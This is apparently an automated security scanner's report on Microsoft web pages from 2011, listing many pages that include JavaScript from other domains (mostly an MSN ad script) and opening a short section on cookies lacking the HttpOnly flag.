http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/news-reviews.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:12 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 27989431600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:11 GMT Content-Length: 33960
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/optimize-infrastructure.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:14 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791114130600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:14 GMT Content-Length: 37753
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/pricing-licensing.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:18 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791603730900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:17 GMT Content-Length: 26993
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/product-information.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:10 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438632431500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:10 GMT Content-Length: 22950
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/products.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:10 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438632431500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:10 GMT Content-Length: 35437
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/trial-software.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:15 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791114130600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:15 GMT Content-Length: 34708
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/white-papers.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:13 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438632431500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:12 GMT Content-Length: 32926
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/virtualmachinemanager/pl/pl/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:28 GMT Last-Modified: Tue, 12 Oct 2010 14:34:49 GMT ETag: 634224656890000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438120831300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:26 GMT Content-Length: 46203
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://mc.yandex.ru/resource/watch.js
Request
GET /ukr/ua/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:14 GMT Last-Modified: Tue, 23 Aug 2011 14:02:19 GMT ETag: 634496797390000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791804742000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:13 GMT Content-Length: 131091
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ukr"><head><title ...[SNIP]... <meta name="DCSext.wt_pt" content="HP" scheme="" /><script type="text/javascript" src="http://mc.yandex.ru/resource/watch.js"></script> ...[SNIP]...
GET /windows/products/winfamily/windowshomeserver/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279374242200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:11 GMT Content-Length: 59176
<html dir="LTR"><head><META http-equiv="Content-Type" content="text/html; charset=utf-16"><title>Windows Home Server ... media server, backup and data recovery solution</title><meta name="description ...[SNIP]... </script><script language="JavaScript" src="http://view.atdmt.com/jaction/FY10_WindowsHomeServer_Vue_Ini_LP"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://code.jquery.com/jquery-1.5.1.min.js
Request
GET /windowsazure/free-trial/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:28 GMT Last-Modified: Wed, 17 Aug 2011 18:13:46 GMT ETag: 634491764260000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279454030700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:28 GMT Content-Length: 20616
...<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"> <head><title>Sign up for the Windows Azure Platform Free Trial | Windows Azure Platform</title><meta http-equiv="X- ...[SNIP]... <![endif]--> <script src="http://code.jquery.com/jquery-1.5.1.min.js" type="text/javascript"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/business/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:15 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438657242100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:14 GMT Content-Length: 57762
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/devices/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:17 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279440542000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:17 GMT Content-Length: 64950
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/devices/details.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:28:30 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279231710100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:28:30 GMT Content-Length: 52149
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/devices/smartphones.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:18 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279236041900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:18 GMT Content-Length: 114124
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/downloads/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:06:49 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438424642200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:49 GMT Content-Length: 60500
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/downloads/microsoft/office-outlook-mobile.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:06:52 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438250941700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:52 GMT Content-Length: 68919
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/downloads/microsoft/software-office-mobile.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:21 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791736842700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:21 GMT Content-Length: 41294
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/meet/choice-is-yours.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:24 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438657242100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:23 GMT Content-Length: 61889
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/meet/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 19:06:34 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279649742300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:24 GMT Content-Length: 56161
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/meet/just-the-facts.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:25 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279374242200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:25 GMT Content-Length: 61407
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/meet/life-in-touch.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:26 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438657242100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:25 GMT Content-Length: 63266
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/meet/microsoft-applications.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:27 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279374242200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:26 GMT Content-Length: 59916
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/meet/secure-your-stuff.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:33 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438619041900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:32 GMT Content-Length: 60925
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/meet/windows-to-go.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:27 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438249642500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:34 GMT Content-Length: 64023
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/sitemap.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:14:57 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438810443100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:14:56 GMT Content-Length: 64900
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsmobile/pl-pl/worldwide.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=windows-1250 Expires: -1 Last-Modified: Fri, 26 Aug 2011 20:15:05 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438810443100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:15:05 GMT Content-Length: 66878
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsphone/en-us/apps/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791480443200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:30:04 GMT Content-Length: 30529
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /windowsphone/en-us/buy/7/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438217442400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:29:57 GMT Content-Length: 78702
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /zh/hk/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:23 GMT Last-Modified: Wed, 24 Aug 2011 08:12:47 GMT ETag: 634497451670000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279641942600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:23 GMT Content-Length: 85051
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><title> ...[SNIP]... <li class="vrtc_ad_hidden" id="vrtc_ad_0"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
6. Cookie without HttpOnly flag setpreviousnext There are 6 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
